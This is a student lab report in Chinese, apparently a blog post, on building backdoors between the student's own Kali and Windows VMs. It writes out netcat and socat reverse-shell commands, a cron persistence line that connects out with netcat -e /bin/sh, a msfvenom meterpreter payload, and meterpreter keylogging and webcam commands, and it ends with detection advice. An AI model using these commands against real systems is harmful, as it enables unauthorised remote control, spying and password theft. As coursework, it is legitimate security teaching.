20145218张晓涵 后门原理与实践

20145218张晓涵 后门原理与实践

实验原理

1. 什么是后门?

  • 后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。 是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
  • 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。

2. 有哪些常用后门工具?

  • netcat:nc 主机名/IP 端口号/服务名,只要甲主机打开了端口(任何对外服务的端口),乙主机就可以使用nc命令连接这个端口。两台主机可以进行数据交换。
  • Meterpreter:用payload在被攻击者机上开一个端口A,把命令行终端绑定到A上,攻击者访问A,就与被攻击者机器交互。

实验过程记录

在进行实验之前,需要:

  • 开启kali虚拟机,可以使用windows本机或者一个windows虚拟机;
  • 联网,确保以上两个系统处于同一网段,让两台机器ping通。windows:172.30.7.84,kali:192.168.80.130
  • 在windows系统中,下载并解压ncat与socat;

1.使用netcat获取主机操作Shell

(1)win获取linux的shell

  • 在windows系统中打开命令行,cd进入ncat.exe所在的文件夹目录下,输入指令ncat.exe -l -p 5218,开启netcat监听;

  • 在kali中,输入指令nc win的IP 5218 -e /bin/sh,开启链接;

  • windows中可以“坐等”连接,然后获取到kali的shell,比如输入了ls,就可以显示kali虚拟机中home目录下的文件信息。因为是kali的shell,所以ls命令也是可以执行的。

(2)Kali获取Win的shell

  • Kali开启netcat监听,输入命令nc -l -p 5218

  • windows链接(注意:仍然要在有ncat.exe的目录下),ncat.exe -e cmd.exe linux的IP 5218

  • kali中获取windows的shell,输入ipconfig,可以查看windows的ip地址信息,但是出现了很多乱码。

2.使用socat获取主机操作Shell

(1)Kali获取Wi的shell

  • Windows中开启监听程序,socat tcp-listen:5218 exec:cmd,pty,stderr //把cmd綁定到端口5218

  • Kali连接Win中开启的监听程序,获取shell,socat - tcp:win的ip:5218 //连接到服务器的5218端口,即可获得一个cmd shell

  • 就可以当做是在windows的cmd中,输入ipconfig进行测试

(2)Win获取Kali的shell。

  • 原理与步骤同上,不再详细描述。

3.计划任务自启动

(1)cron启动

  • kali中使用crontab -e进入了编辑模式,在最后一行参照之前的格式加入一条自动执行netcat的指令,即:05 * * * * * /bin/netcat 172.30.7.84 5218 -e /bin/sh,05即每小时第五分钟启动。
  • 到了第五分钟的时候我们的win程序就可以控制Linux程序了。

(2)使用任务计划程序开启Windows定时连接

  • 打开计划任务(控制面板→管理工具→任务计划程序→创建任务),填写任务名

  • 在“创建任务”—“操作”选项卡中设置任务操作(点击左下方“新建…”选项)

  • 选择“浏览…”,找到socat.exe所在目录,点击选中socat.exe;

  • 在下方的“添加参数”中,添加如下参数:tcp-listen:5218 exec:cmd,pty,stderr 然后点击确定

  • 在“触发器”选项卡中选择“新建…”,可以设置任务频率以及开始时间。

  • 静静等待设定的时间,自动弹出窗口

4.使用MSF meterpreter生成可执行文件获取主机Shell

(1)后门程序生成

  • 输入以下命令生成后门程序,msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f exe >20145218.exe

  • 传输到windows系统中,传输命令如下图所示,如果被查杀,找回文件即可(可以用U盘拷贝,但是要注意关闭防火墙及杀毒软件,否则文件拷贝到电脑之后会被防火墙直接删除或被查杀)

(2)打开msf进行设置,输入msfconsole进入msf,设置命令如下图所示

注意:LHOST为kali系统的IP,目标端口为443,然后双击刚才生成的.exe文件,在Kali的msf中输入exploit,就完全获取了windows的shell

5.meterpreter信息搜集

  • 获取基本系统信息,sysinfo

  • 抓取windows系统中的当前屏幕;

  • 键盘记录内容:keyscan_start:开始捕捉键盘记录,keyscan_dump停止键盘记录的捕捉并显示出来键盘的记录

  • meterpreter安装为服务,run metsvc

  • 控制摄像头,这里因为没有给虚拟机添加相应的硬件,所以没能打开摄像头

基础问题思考与回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 后门程序可能伪装成正常程序,在我们在网上下载什么东西时或随着优盘插入时进入电脑中,只要我们点击启动后,后门程序可以自动运行。
  • 操作系统本身设计时就留有后门。

2.后门如何启动起来(win及linux)?

  • Windows中:后门程序作为.exe文件或者快捷方式,被用户点击后启动,或者安装为服务后,进行自启动;
  • Linux中:后门程序被设置在cron等服务中实现自启动。

3.Meterpreter有哪些给你印象深刻的功能?

  • 竟然可以控制摄像头!在关闭防火墙之后,kali中随便敲一条指令就可以实现在windows中摄像头抓取等功能,想想十分后怕,幸亏早就把摄像头用创可贴粘起来了。
  • 获取当前目录下的进程也很容易有危险,尤其是对于具有敏感信息的电脑。
  • 键盘记录内容,可以清楚地知道我们输入了什么内容,通过梳理分析就可能知道我们各种各样的密码之类的秘密信息。

4.如何发现自己有系统有没有被安装后门?

  • 查看系统服务项中有没有来源不明的程序,有没有明明奇怪的程序等;
  • 利用杀毒软件或者系统自带的防火墙定期进行病毒查杀,比如这次的后门程序,其实是可以被防火墙和杀毒软件识别并清除的。
posted @ 2017-03-15 20:20  20145218  阅读(390)  评论(0编辑  收藏  举报